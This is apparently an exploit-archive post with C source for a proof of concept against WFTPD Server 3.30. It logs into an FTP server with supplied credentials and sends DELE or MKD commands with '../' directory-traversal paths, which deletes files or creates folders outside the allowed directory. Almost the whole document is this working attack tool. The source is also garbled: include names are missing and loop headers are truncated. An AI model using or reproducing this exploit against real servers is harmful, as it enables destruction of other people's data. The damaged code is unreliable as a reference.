WFTPD Server 3.30 Multiple remote vulnerabilities(0day)

Exploit Code :

#include
#include
#include
#include
#include

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]WFTPD 3.30 Multiple remote vulnerabilities(0day)"
#define AUTHOR "[*]fl0 fl0w"
typedef int i32;
typedef char i8;
typedef short i16;
enum {
True=1,
False=0,
Error=-1
};
struct {
i8 *USERx,
*PASSx,
*HOST;
i16 PORTx;
}def;
i8 *USER=0,*PASS=0,*dir=0,*host_addr=0,
sendbytes[250],recev[250];
i16 PORT=0,option;
i32 args(i32 argc,i8** argv){
i32 i;
argc--;
for(i=1;i switch(argv[i][1]){
case 'h':
host_addr=argv[++i];
break;
case 'u':
USER=argv[++i];
break;
case 'w':
PASS=argv[++i];
break;
case 'p':
PORT=atoi(argv[++i]);
break;
case 'o':
option=atoi(argv[++i]);
break;
default:{
printf("error with argument nr
%d:(%s)\n",i,argv[i]);
return Error;
exit(0);
}
}
}
// printf(" %s\n %s\n %s\n %d\n %d\n
%s\n",host_addr,USER,PASS,PORT,option,argv[argc]);
return 1;
}
void bf_error(i8* B){
i32 e;
if(B==NULL)
e=0;
else
e=1;
}
void syntax(){
i8 *help[]={"\t-h hostname",
"\t-u Username",
"\t-w watchword(password)",
"\t-p port(default 21)",
"\t-o option:",
"\t 1 - delete folder,files",
"\t 2 - make folder",
"\t ../ move up 1 dir ../../ move up 2 dirs etc"
/*directory transversal*/
};
i32 i;
size_t com=sizeof help / sizeof help[0];
for(i=0;i printf("%s\n",help[i]);
}
}
void defaults(){
def.HOST="localhost";
def.PASSx="hacker";
def.USERx="anonymous";
def.PORTx=21;
//printf("%s %s %s
%d",def.HOST,def.PASSx,def.USERx,def.PORTx);
}
i32 main(i32 argc,i8** argv){
if(argc<3){
printf("%s\n%s\n",POCNAME,AUTHOR);
printf("\tToo few arguments\n syntax is:\n");
syntax();
exit(0);
}
args(argc,argv);
i32 sok,
svcon,
sokaddr;
printf("[*]Starting \n \t...\n");
struct sockaddr_in sockaddr_sok;
sokaddr = sizeof(sockaddr_sok);
sockaddr_sok.sin_family = AF_INET;
sockaddr_sok.sin_addr.s_addr = inet_addr(host_addr);
sockaddr_sok.sin_port = htons(PORT);
sok=socket(AF_INET,SOCK_STREAM,0);
if(sok==-1){
printf("[*]FAILED SOCKET\n");
exit(0);
}
svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr);
i8 use[10];
if(svcon!=-1){
sprintf(sendbytes, "USER %s\r\n",USER);
if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
printf("User send error\n");

shutdown(sok,1);
exit(0);
}else {
memset(sendbytes,0,250);
recv(sok,recev,sizeof(recev),0);
}

sprintf(sendbytes, "PASS %s\r\n",PASS);
if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
printf("Password send error\n");

shutdown(sok,1);
exit(0);
}else {
memset(sendbytes,0,250);
recv(sok,recev,sizeof(recev),0);
printf("%s\n",recev);
}
sprintf(sendbytes, "SYST\r\n");
if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
printf("Syst send error\n");

shutdown(sok,1);
exit(0);
}else {
memset(sendbytes,0,250);
recv(sok,recev,sizeof(recev),0);
}
if(option==1){
sprintf(sendbytes,"DELE %s\r\n",argv[11]);
if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
printf("Syst send error\n");

shutdown(sok,1);
exit(0);
}else {
memset(sendbytes,0,250);
recv(sok,recev,sizeof(recev),0);
}
}else if(option==2){
sprintf(sendbytes,"MKD %s\r\n",argv[11]);
if(send(sok,sendbytes,strlen(sendbytes),0) == -1){
printf("Syst send error\n");

shutdown(sok,1);
exit(0);
}else {
memset(sendbytes,0,250);
recv(sok,recev,sizeof(recev),0);
}
}
}else printf("Connect error\n");
printf("[*]Exploit done!");
return 0;
}

15